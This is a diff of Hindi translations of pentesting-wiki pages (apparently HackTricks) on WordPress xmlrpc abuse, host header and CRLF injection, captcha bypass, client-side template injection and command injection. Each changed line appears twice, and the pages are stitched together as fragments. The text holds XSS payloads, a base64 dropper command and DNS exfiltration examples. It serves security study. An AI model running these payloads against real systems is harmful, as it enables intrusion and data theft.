यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं है, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती है। इसलिए, यदि आपके पास मान्य क्रेड्स हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो **आप xmlrpc.php का दुरुपयोग करके उन क्रेड्स के साथ 2FA को बायपास करके लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को करने में सक्षम नहीं होंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec े [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाा है।
यह विधि कार्यक्रमों के लिए है और मनुष्यों के लिए नहीं, और पुरानी है, इसलिए यह 2FA का समर्थन नहीं करती है। इसलिए, यदि आपके पास मान्य क्रेड्स हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो **आप xmlrpc.php का दुरुपयोग करके उन क्रेड्स के साथ 2FA को बायपास करते हुए लॉगिन करने में सक्षम हो सकते हैं**। ध्यान दें कि आप कंसोल के माध्यम से किए जा सकने वाले सभी कार्यों को करने में सक्षम नहीं होंगे, लेकिन आप अभी भी RCE तक पहुँचने में सक्षम हो सकते हैं जैसा कि Ippsec इसे [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाा है।
**DDoS या पोर्ट स्कैनिंग**
यदि आप सूची के अंदर _**pingback.ping**_ विधि पा सकते हैं, तो आप वर्डप्रेस को किसी भी होस्ट/पोर्ट पर मनमाना अनुरोध भेजने के लिए बना सकते हैं।\
इसका उपयोग **हजारों** वर्डप्रेस **साइटों** से **एक स्थान** (तो उस स्थान पर **DDoS** का कारण बनता है) तक **पहुँचने** के लिए किया जा सकता है या आप इसका उपयोग **Wordpress** को कुछ आंतरिक **नेटवर्क** को **स्कैन** करने के लिए कर सकते हैं (आप किसी भी पोर्ट को निर्दिष्ट कर सकते हैं)।
यदि आप सूची के अंदर _**pingback.ping**_ विधि पा सकते हैं, तो आप वर्डप्रेस को किसी भी होस्ट/पोर्ट पर मनमाना अनुरोध भेजने के लिए कह सकते हैं।\
इसका उपयोग **हजारों** वर्डप्रेस **साइटों** को एक **स्थान** (तो उस स्थान पर **DDoS** का कारण बनता है) तक **पहुँचने** के लिए करने के लिए किया जा सकता है या आप इसका उपयोग **Wordpress** को कुछ आंतरिक **नेटवर्क** को **स्कैन** करने के लिए कर सकते हैं (आप किसी भी पोर्ट को निर्दिष्ट कर सकते हैं)।
```markup
<methodCall>
<methodName>pingback.ping</methodName>
@ -219,13 +219,15 @@ Wp-Cron को अक्षम करना और होस्ट के अं
_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ तक पहुँचने का प्रयास करें और Worpress साइट आपसे अनुरोध कर सकती है।
जब यह काम नहीं करता है तो यह प्रतिक्रिया है:
जब यह काम नहीं करता है तो यह प्रतिक्रिया होती है:
![](<../../images/image (365).png>)
## SSRF
{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}
{{#ref}}
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
यह उपकरण जांचता है कि **methodName: pingback.ping** और पथ **/wp-json/oembed/1.0/proxy** है और यदि यह मौजूद है, तो यह उन्हें शोषण करने का प्रयास करता है।
@ -237,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## एक बिट को ओवरराइट करके एक्सेस प्राप्त करें
यह एक वास्तविक हमले से अधिक एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी वर्डप्रेस फ़ाइल से 1 बिट को पलट सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थिति `5389` को पलट सकते थे ताकि NOT (`!`) ऑपरेशन को NOP किया जा सके।
यह वास्तव में एक हमला नहीं है, बल्कि एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी वर्डप्रेस फ़ाइल से 1 बिट को पलट सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के स्थिति `5389` को NOP (`!`) ऑपरेशन के लिए पलट सकते थे।
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -246,7 +248,7 @@ return new WP_Error(
**थीम से एक php को संशोधित करना (प्रशासनिक क्रेडेंशियल्स की आवश्यकता है)**
दृश्यता → थीम संपादक → 404 टेम्पलेट (दाईं ओर)
दृश्य → थीम संपादक → 404 टेम्पलेट (दाईं ओर)
एक php शेल के लिए सामग्री बदलें:
@ -346,7 +348,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
**`nopriv` का उपयोग किसी भी उपयोगकर्ताओं (यहां तक कि अनधिकृत लोगों) द्वारा एंडपॉइंट को सुलभ बनाता है।**
> [!CAUTION]
> इसके अलावा, यदि फ़ंक्शन केवल `wp_verify_nonce` फ़ंक्शन के साथ उपयोगकर्ता क प्राधिकरण की जांच कर रहा है, तो यह फ़ंक्शन केवल यह जांच रहा है कि उपयोगकर्ता लॉग इन है, यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं कर रहा है। इसलिए कम विशेषाधिकार प्राप्त उपयोगकर्ताओं को उच्च विशेषाधिकार प्राप्त क्रियाओं तक पहुंच मिल सकती है।
> इसके अलावा, यदि फ़ंक्शन केवल `wp_verify_nonce` फ़ंक्शन के साथ उपयोगकर्ता क प्राधिकरण की जांच कर रहा है, तो यह फ़ंक्शन केवल यह जांच रहा है कि उपयोगकर्ता लॉग इन है, यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं कर रहा है। इसलिए कम विशेषाधिकार प्राप्त उपयोगकर्ताओं को उच्च विशेषाधिकार प्राप्त क्रियाओं तक पहुंच मिल सकती है।
- **REST API**
@ -388,7 +390,7 @@ add_filter( 'auto_update_theme', '__return_true' );
### **अन्य सिफारिशें**
- डिफ़ॉल्ट **admin** उपयोगकर्ता को हटा दे
- डिफ़ॉल्ट **admin** उपयोगकर्ता को हटा
- **मजबूत पासवर्ड** और **2FA** का उपयोग करें
- समय-समय पर **उपयोगकर्ताओं** की **अनुमतियों** की **समीक्षा** करें
- Brute Force हमलों को रोकने के लिए **लॉगिन प्रयासों** की संख्या सीमित करें

View File

@ -2,19 +2,17 @@
{{#include ./banners/hacktricks-training.md}}
### होस्ट हेडर
कई बार बैक-एंड **होस्ट हेडर** पर कुछ क्रियाएँ करने के लिए भरोसा करता है। उदाहरण के लिए, यह इसके मान का उपयोग **पासवर्ड रीसेट भेजने के लिए डोमेन के रूप में** कर सकता है। इसलिए जब आपको पासवर्ड रीसेट के लिए लिंक के साथ एक ईमेल प्राप्त होता है, तो उपयोग किया जाने वाला डोमेन वही होता है जो आपने होस्ट हेडर में डाला है। फिर, आप अन्य उपयोगकर्ताओं के पासवर्ड रीसेट का अनुरोध कर सकते हैं और डोमेन को अपने द्वारा नियंत्रित एक में बदल सकते हैं ताकि उनके पासवर्ड रीसेट कोड चुरा सकें। [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
कई बार बैक-एंड **होस्ट हेडर** पर कुछ क्रियाएँ करने के लिए भरोसा करता है। उदाहरण के लिए, यह इसके मान का उपयोग **पासवर्ड रीसेट भेजने के लिए डोमेन के रूप में** कर सकता है। इसलिए जब आप पासवर्ड रीसेट के लिए लिंक के साथ एक ईमेल प्राप्त करते हैं, तो उपयोग किया जाने वाला डोमेन वही होता है जो आपने होस्ट हेडर में डाला है। फिर, आप अन्य उपयोगकर्ताओं के पासवर्ड रीसेट का अनुरोध कर सकते हैं और डोमेन को अपने द्वारा नियंत्रित एक में बदल सकते हैं ताकि उनके पासवर्ड रीसेट कोड चुरा सकें। [WriteUp](https://medium.com/nassec-cybersecurity-writeups/how-i-was-able-to-take-over-any-users-account-with-host-header-injection-546fff6d0f2).
> [!WARNING]
> ध्यान दें कि यह संभव है कि आपको टोकन प्राप्त करने के लिए उपयोगकर्ता के पासवर्ड रीसेट लिंक पर क्लिक करने का इंतजार करने की आवश्यकता नहीं है, क्योंकि शायद **स्पैम फ़िल्टर या अन्य मध्यवर्ती उपकरण/बॉट इसे विश्लेषण करने के लिए क्लिक करेंगे**
> ध्यान दें कि यह संभव है कि आपको टोकन प्राप्त करने के लिए उपयोगकर्ता के पासवर्ड रीसेट लिंक पर क्लिक करने का इंतजार भी नहीं करना पड़े, क्योंकि शायद **स्पैम फ़िल्टर या अन्य मध्यवर्ती उपकरण/बॉट इसे विश्लेषण करने के लिए क्लिक करेंगे**
### सत्र बूलियन
कुछ समय जब आप कुछ सत्यापन को सही ढंग से पूरा करते हैं, तो बैक-एंड **बस आपके सत्र के सुरक्षा विशेषता में "True" मान के साथ एक बूलियन जोड़ता है**। फिर, एक अलग एंडपॉइंट जानता है कि क्या आपने उस जांच को सफलतापूर्वक पास किया।\
हालांकि, यदि आप **जांच पास करते हैं** और आपके सत्र को सुरक्षा विशेषता में "True" मान दिया जाता है, तो आप **अन्य संसाधनों तक पहुँचने की कोशिश कर सकते हैं** जो **उसी विशेषता पर निर्भर करते हैं** लेकिन जिन तक आपक**अनुमति नहीं होनी चाहिए**। [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
कुछ समय जब आप कुछ सत्यापन को सही ढंग से पूरा करते हैं, तो बैक-एंड **बस आपके सत्र के सुरक्षा विशेषता में "True" मान के साथ एक बूलियन जोड़ देगा**। फिर, एक अलग एंडपॉइंट जान जाएगा कि आपने उस जांच को सफलतापूर्वक पास किया।\
हालांकि, यदि आप **जांच पास करते हैं** और आपके सत्र को सुरक्षा विशेषता में "True" मान दिया जाता है, तो आप **अन्य संसाधनों तक पहुँचने की कोशिश कर सकते हैं** जो **उसी विशेषता पर निर्भर करते हैं** लेकिन जिन तक आपक**पहुँचने की अनुमति नहीं होनी चाहिए**। [WriteUp](https://medium.com/@ozguralp/a-less-known-attack-vector-second-order-idor-attacks-14468009781a).
### पंजीकरण कार्यक्षमता
@ -22,17 +20,18 @@
### ईमेल अधिग्रहण
एक ईमेल पंजीकरण करें, इसे पुष्टि करने से पहले ईमेल बदलें, फिर, यदि नया पुष्टि ईमेल पहले पंजीकृत ईमेल पर भेजा जाता है, तो आप किसी भी ईमेल का अधिग्रहण कर सकते हैं। या यदि आप पहले वाले को पुष्टि करने के लिए दूसरे ईमेल को सक्षम कर सकते हैं, तो आप किसी भी खाते का भी अधिग्रहण कर सकते हैं।
एक ईमेल पंजीकृत करें, इसे पुष्टि करने से पहले ईमेल बदलें, फिर, यदि नया पुष्टि ईमेल पहले पंजीकृत ईमेल पर भेजा जाता है, तो आप किसी भी ईमेल का अधिग्रहण कर सकते हैं। या यदि आप पहले वाले को पुष्टि करने वाले दूसरे ईमेल को सक्षम कर सकते हैं, तो आप किसी भी खाते का भी अधिग्रहण कर सकते हैं।
### कंपनियों के आंतरिक सर्विसडेस्क तक पहुँचें जो एटलसियन का उपयोग कर रह हैं
### कंपनियों के आंतरिक सर्विसडेस्क तक पहुँचें जो एटलसियन का उपयोग कर रह हैं
{% embed url="https://yourcompanyname.atlassian.net/servicedesk/customer/user/login" %}
{{#ref}}
https://yourcompanyname.atlassian.net/servicedesk/customer/user/login
{{#endref}}
### TRACE विधि
डेवलपर्स उत्पादन वातावरण में विभिन्न डिबगिंग विकल्पों को बंद करना भूल सकते हैं। उदाहरण के लिए, HTTP `TRACE` विधि का उपयोग निदान उद्देश्यों के लिए किया जाता है। यदि सक्षम है, तो वेब सर्वर `TRACE` विधि का उपयोग करने वाले अनुरोधों का उत्तर देगा, जो प्राप्त अनुरोध को प्रतिक्रिया में प्रतिध्वनित करेगा। यह व्यवहार अक्सर हानिरहित होता है, लेकिन कभी-कभी जानकारी के खुलासे का कारण बनता है, जैसे कि आंतरिक प्रमाणीकरण हेडर का नाम जो रिवर्स प्रॉक्सी द्वारा अनुरोधों में जोड़ा जा सकता है।![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
डेवलपर्स उत्पादन वातावरण में विभिन्न डिबगिंग विकल्पों को बंद करना भूल सकते हैं। उदाहरण के लिए, HTTP `TRACE` विधि का उपयोग निदान उद्देश्यों के लिए किया जाता है। यदि सक्षम है, तो वेब सर्वर `TRACE` विधि का उपयोग करने वाले अनुरोधों का उत्तर देगा, जो प्रतिक्रिया में प्राप्त अनुरोध को ठीक से दर्शाता है। यह व्यवहार अक्सर हानिरहित होता है, लेकिन कभी-कभी जानकारी के खुलासे की ओर ले जाता है, जैसे कि आंतरिक प्रमाणीकरण हेडर का नाम जो अनुरोधों में रिवर्स प्रॉक्सी द्वारा जोड़ा जा सकता है।![Image for post](https://miro.medium.com/max/60/1*wDFRADTOd9Tj63xucenvAA.png?q=20)
![Image for post](https://miro.medium.com/max/1330/1*wDFRADTOd9Tj63xucenvAA.png)
{{#include ./banners/hacktricks-training.md}}

View File

@ -18,7 +18,7 @@ Captcha को **बायपास** करने के लिए **सर्
- **गणितीय कैप्चा**: यदि कैप्चा में गणितीय संचालन शामिल हैं, तो गणना प्रक्रिया को स्वचालित करें।
- **छवि पहचान**:
- उन कैप्चा के लिए जो छवि से वर्ण पढ़ने की आवश्यकता होती है, मैन्युअल या प्रोग्रामेटिक रूप से अद्वितीय छवियों की कुल संख्या निर्धारित करें। यदि सेट सीमित है, तो आप प्रत्येक छवि को इसके MD5 हैश द्वारा पहचान सकते हैं।
- छवियों से वर्ण पढ़ने के लिए [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) जैसे ऑप्टिकल कैरेक्टर रिकग्निशन (OCR) उपकरणों का उपयोग करें।
- छवियों से वर्ण पढ़ने के लिए [Tesseract OCR](https://github.com/tesseract-ocr/tesseract) जैसे ऑप्टिकल कैरेक्टर रिकग्निशन (OCR) उपकरणों का उपयोग करें।
4. **अतिरिक्त तकनीकें**:
- **रेट लिमिट परीक्षण**: जांचें कि क्या एप्लिकेशन एक निश्चित समय सीमा में प्रयासों या प्रस्तुतियों की संख्या को सीमित करता है और क्या इस सीमा को बायपास या रीसेट किया जा सकता है।
- **थर्ड-पार्टी सेवाएँ**: स्वचालित कैप्चा पहचान और समाधान प्रदान करने वाली कैप्चा-समाधान सेवाओं या APIs का उपयोग करें।
@ -32,6 +32,8 @@ Captcha को **बायपास** करने के लिए **सर्
[**CapSolver**](https://www.capsolver.com/?utm_source=google&utm_medium=ads&utm_campaign=scraping&utm_term=hacktricks&utm_content=captchabypass) एक AI-संचालित सेवा है जो विभिन्न प्रकार के कैप्चा को स्वचालित रूप से हल करने में विशेषज्ञता रखती है, डेटा संग्रह को सशक्त बनाती है और डेवलपर्स को वेब स्क्रैपिंग के दौरान कैप्चा चुनौतियों को आसानी से पार करने में मदद करती है। यह **reCAPTCHA V2, reCAPTCHA V3, DataDome, AWS Captcha, Geetest, और Cloudflare turnstile among others** जैसे कैप्चा का समर्थन करता है। डेवलपर्स के लिए, Capsolver API एकीकरण विकल्प प्रदान करता है जो [**documentation**](https://docs.capsolver.com/?utm_source=github&utm_medium=banner_github&utm_campaign=fcsrv)** में विस्तृत है,** जो अनुप्रयोगों में कैप्चा समाधान को एकीकृत करने की सुविधा प्रदान करता है। वे [Chrome](https://chromewebstore.google.com/detail/captcha-solver-auto-captc/pgojnojmmhpofjgdmaebadhbocahppod) और [Firefox](https://addons.mozilla.org/es/firefox/addon/capsolver-captcha-solver/) के लिए ब्राउज़र एक्सटेंशन भी प्रदान करते हैं, जिससे उनके सेवा का उपयोग सीधे ब्राउज़र में करना आसान हो जाता है। विभिन्न मूल्य निर्धारण पैकेज उपलब्ध हैं ताकि विभिन्न आवश्यकताओं को पूरा किया जा सके, उपयोगकर्ताओं के लिए लचीलापन सुनिश्चित किया जा सके।
{% embed url="https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks" %}
{{#ref}}
https://www.capsolver.com/?utm_campaign=scraping&utm_content=captchabypass&utm_medium=ads&utm_source=google&utm_term=hacktricks
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -6,11 +6,11 @@
यह [**Server Side Template Injection**](ssti-server-side-template-injection/) की तरह है लेकिन **client** में। **SSTI** आपको **remote server** पर **code** **execute** करने की अनुमति दे सकता है, **CSTI** आपको **victim's browser** में **arbitrary JavaScript** कोड **execute** करने की अनुमति दे सकता है।
इस कमजोरियों के लिए **Testing** **SSTI** के मामले में बहुत **similar** है, interpreter **a template** की अपेक्षा करता है और इसे **execute** करेगा। उदाहरण के लिए, एक payload जैसे `{{ 7-7 }}` के साथ, यदि ऐप **vulnerable** है तो आप `0` देखेंगे, और यदि नहीं, तो आप मूल: `{{ 7-7 }}` देखेंगे।
इस सुरक्षा कमजोरी के लिए **Testing** **SSTI** के मामले में बहुत **similar** है, interpreter **a template** की अपेक्षा करता है और इसे **execute** करेगा। उदाहरण के लिए, एक payload जैसे `{{ 7-7 }}` के साथ, यदि ऐप **vulnerable** है तो आप `0` देखेंगे, और यदि नहीं, तो आप मूल: `{{ 7-7 }}` देखेंगे।
## AngularJS
AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript framework है जो HTML के साथ attributes के माध्यम से बातचीत करता है जिसे directives कहा जाता है, एक उल्लेखनीय **`ng-app`** है। यह directive AngularJS को HTML सामग्री को संसाधित करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions को execute किया जा सके।
AngularJS एक व्यापक रूप से उपयोग किया जाने वाला JavaScript framework है जो HTML के साथ attributes के माध्यम से बातचीत करता है, जिसमें एक उल्लेखनीय **`ng-app`** है। यह directive AngularJS को HTML सामग्री को संसाधित करने की अनुमति देता है, जिससे डबल कर्ली ब्रेसेस के अंदर JavaScript expressions को execute किया जा सके।
ऐसे परिदृश्यों में जहां उपयोगकर्ता इनपुट को `ng-app` के साथ टैग किए गए HTML body में गतिशील रूप से डाला जाता है, यह arbitrary JavaScript कोड को execute करना संभव है। यह इनपुट के भीतर AngularJS की syntax का लाभ उठाकर किया जा सकता है। नीचे उदाहरण दिए गए हैं जो दिखाते हैं कि JavaScript कोड कैसे execute किया जा सकता है:
```javascript
@ -23,8 +23,7 @@ AngularJS एक व्यापक रूप से उपयोग किय
```
आप इस **बुनियादी ऑनलाइन उदाहरण** को **AngularJS** में इस लिंक पर पा सकते हैं [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) और [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression) में
> [!CAUTION]
> [**Angular 1.6 ने सैंडबॉक्स हटा दिया**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) इसलिए इस संस्करण से एक पेलोड जैसे `{{constructor.constructor('alert(1)')()}}` या `<input ng-focus=$event.view.alert('XSS')>` काम करना चाहिए।
> [!CAUTION] > [**Angular 1.6 ने सैंडबॉक्स हटा दिया**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) इसलिए इस संस्करण से एक पेलोड जैसे `{{constructor.constructor('alert(1)')()}}` या `<input ng-focus=$event.view.alert('XSS')>` काम करना चाहिए।
## VueJS
@ -36,7 +35,7 @@ AngularJS एक व्यापक रूप से उपयोग किय
<!-- Google Research - Vue.js-->
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
```
CSTI पर VUE में एक वास्तव में अच्छा पोस्ट [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) पर पाया जा सकता है
एक वास्तव में अच्छा पोस्ट CSTI पर VUE में [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets) पाया जा सकता है
### **V3**
```
@ -48,7 +47,7 @@ CSTI पर VUE में एक वास्तव में अच्छा
```
{{constructor.constructor('alert(1)')()}}
```
श्रेय: [Mario Heiderich](https://twitter.com/cure53berlin)
क्रेडिट: [Mario Heiderich](https://twitter.com/cure53berlin)
**अधिक VUE पेलोड्स देखें** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
@ -72,7 +71,8 @@ javascript:alert(1)%252f%252f..%252fcss-images
## **ब्रूट-फोर्स डिटेक्शन लिस्ट**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt
{{#endref}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,14 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
## What is command Injection?
एक **command injection** हमलावर को एक एप्लिकेशन को होस्ट करने वाले सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स को निष्पादित करने की अनुमति देता है। इसके परिणामस्वरूप, एप्लिकेशन और इसके सभी डेटा पूरी तरह से समझौता किया जा सकता है। इन कमांड्स के निष्पादन से आमतौर पर हमलावर को एप्लिकेशन के वातावरण और अंतर्निहित प्रणाली पर अनधिकृत पहुंच या नियंत्रण प्राप्त होता है।
एक **command injection** एक हमलावर को एक एप्लिकेशन को होस्ट करने वाले सर्वर पर मनमाने ऑपरेटिंग सिस्टम कमांड्स को निष्पादित करने की अनुमति देता है। इसके परिणामस्वरूप, एप्लिकेशन और इसके सभी डेटा पूरी तरह से समझौता किए जा सकते हैं। इन कमांड्स का निष्पादन आमतौर पर हमलावर को एप्लिकेशन के वातावरण और अंतर्निहित प्रणाली पर अनधिकृत पहुंच या नियंत्रण प्राप्त करने की अनुमति देता है।
### Context
**जहां आपका इनपुट इंजेक्ट किया जा रहा है** उसके आधार पर, आपको **उद्धृत संदर्भ को समाप्त करने** की आवश्यकता हो सकती है ( `"` या `'` का उपयोग करके) कमांड्स से पहले।
**जहां आपका इनपुट इंजेक्ट किया जा रहा है** उसके आधार पर, आपको **उद्धृत संदर्भ को समाप्त** करने की आवश्यकता हो सकती है ( `"` या `'` का उपयोग करके) कमांड्स से पहले।
## Command Injection/Execution
```bash
@ -32,7 +31,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
```
### **सीमाएँ** बायपास
यदि आप **लिनक्स मशीन के अंदर मनमाने कमांड्स को निष्पादित करने** की कोशिश कर रहे हैं, तो आप इस **बायपास के बारे में पढ़ने में रुचि रखेंगे:**
यदि आप **लिनक्स मशीन के अंदर मनमाने कमांड्स को निष्पादित करने** की कोशिश कर रहे हैं, तो आप इस **बायपास के बारे में पढ़ने में रुचि रख होंगे:**
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
@ -46,7 +45,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### Parameters
यहाँ शीर्ष 25 पैरामीटर हैं जो कोड इंजेक्शन और समान RCE कमजोरियों के लिए संवेदनशील हो सकते हैं (से [link](https://twitter.com/trbughunters/status/1283133356922884096)):
यहाँ 25 शीर्ष पैरामीटर हैं जो कोड इंजेक्शन और समान RCE कमजोरियों के लिए संवेदनशील हो सकते हैं (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -88,7 +87,7 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNS आधारित डेटा निकासी
### DNS आधारित डेटा एक्सफिल्ट्रेशन
`https://github.com/HoLyVieR/dnsbin` से उपकरण के आधार पर, जो dnsbin.zhack.ca पर भी होस्ट किया गया है
```
@ -118,11 +117,13 @@ powershell C:**2\n??e*d.*? # notepad
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
## Brute-Force Detection List
## ब्रूट-फोर्स पहचान सूची
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## References
## संदर्भ
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)

View File

@ -2,25 +2,23 @@
{{#include ../banners/hacktricks-training.md}}
### CRLF
कैरेज रिटर्न (CR) और लाइन फीड (LF), जिसे मिलाकर CRLF कहा जाता है, HTTP प्रोटोकॉल में एक पंक्ति के अंत या एक नई पंक्ति की शुरुआत को दर्शाने के लिए विशेष वर्ण अनुक्रम हैं। वेब सर्वर और ब्राउज़र HTTP हेडर और प्रतिक्रिया के शरीर के बीच अंतर करने के लिए CRLF का उपयोग करते हैं। ये वर्ण HTTP/1.1 संचार में विभिन्न वेब सर्वर प्रकारों, जैसे Apache और Microsoft IIS, में सार्वभौमिक रूप से उपयोग किए जाते हैं।
कैरेज रिटर्न (CR) और लाइन फीड (LF), जिसे मिलाकर CRLF कहा जाता है, HTTP प्रोटोकॉल में एक पंक्ति के अंत या एक नई पंक्ति की शुरुआत को दर्शाने के लिए उपयोग किए जाने वाले विशेष वर्ण अनुक्रम हैं। वेब सर्वर और ब्राउज़र HTTP हेडर और प्रतिक्रिया के शरीर के बीच अंतर करने के लिए CRLF का उपयोग करते हैं। ये वर्ण HTTP/1.1 संचार में विभिन्न वेब सर्वर प्रकारों, जैसे Apache और Microsoft IIS, में सार्वभौमिक रूप से उपयोग किए जाते हैं।
### CRLF Injection Vulnerability
CRLF इंजेक्शन में उपयोगकर्ता द्वारा प्रदान किए गए इनपुट में CR और LF वर्णों का सम्मिलन शामिल है। यह क्रिया सर्वर, एप्लिकेशन, या उपयोगकर्ता कोInjected अनुक्रम को एक प्रतिक्रिया के अंत और दूसरी की शुरुआत के रूप में व्याख्या करने के लिए भटका देती है। जबकि ये वर्ण स्वाभाविक रूप से हानिकारक नहीं होते, इनका दुरुपयोग HTTP प्रतिक्रिया विभाजन और अन्य दुर्भावनापूर्ण गतिविधियों का कारण बन सकता है।
CRLF इंजेक्शन में उपयोगकर्ता द्वारा प्रदान किए गए इनपुट में CR और LF वर्णों का सम्मिलन शामिल है। यह क्रिया सर्वर, एप्लिकेशन, या उपयोगकर्ता को गलत तरीके से यह समझाने के लिए प्रेरित करती है कि सम्मिलित अनुक्रम एक प्रतिक्रिया के अंत और दूसरी की शुरुआत है। जबकि ये वर्ण स्वाभाविक रूप से हानिकारक नहीं हैं, इनका दुरुपयोग HTTP प्रतिक्रिया विभाजन और अन्य दुर्भावनापूर्ण गतिविधियों का कारण बन सकता है।
### Example: CRLF Injection in a Log File
[Example from here](https://www.invicti.com/blog/web-security/crlf-http-header/)
एक लॉग फ़ाइल पर विचार करें जो एक प्रशासन पैनल में इस प्रारूप का पालन करती है: `IP - Time - Visited Path`। एक सामान्य प्रविष्टि इस प्रकार दिख सकती है:
एक लॉग फ़ाइल पर विचार करें जो एक प्रशासन पैनल में है और जिसका प्रारूप है: `IP - Time - Visited Path`। एक सामान्य प्रविष्टि इस प्रकार दिख सकती है:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
एक हमलावर CRLF इंजेक्शन का उपयोग करके इस लॉग में हेरफेर कर सकता है। HTTP अनुरोध में CRLF वर्णों को इंजेक्ट करके, हमलावर आउटपुट स्ट्रीम को बदल सकता है और लॉग प्रविष्टियों को तैयार कर सकता है। उदाहरण के लिए, एक इंजेक्टेड अनुक्रम लॉग प्रविष्टि को इस प्रकार बदल सकत है:
एक हमलावर CRLF इंजेक्शन का उपयोग करके इस लॉग में हेरफेर कर सकता है। HTTP अनुरोध में CRLF वर्णों को इंजेक्ट करके, हमलावर आउटपुट स्ट्रीम को बदल सकता है और लॉग प्रविष्टियों को तैयार कर सकता है। उदाहरण के लिए, एक इंजेक्ट की गई अनुक्रम लॉग प्रविष्टि को इस प्रकार बदल सकत है:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
@ -31,19 +29,19 @@ IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
हमलावर इस प्रकार अपने दुर्भावनापूर्ण गतिविधियों को छिपाते हैं, जिससे ऐसा प्रतीत होता है कि localhost (एक इकाई जिसे आमतौर पर सर्वर वातावरण में विश्वसनीय माना जाता है) ने क्रियाएँ की हैं। सर्वर उस क्वेरी के भाग को जो `%0d%0a` से शुरू होता है, एकल पैरामीटर के रूप में व्याख्यायित करता है, जबकि `restrictedaction` पैरामीटर को एक अन्य, अलग इनपुट के रूप में पार्स किया जाता है। हेरफेर की गई क्वेरी प्रभावी रूप से एक वैध प्रशासनिक आदेश की नकल करती है: `/index.php?page=home&restrictedaction=edit`
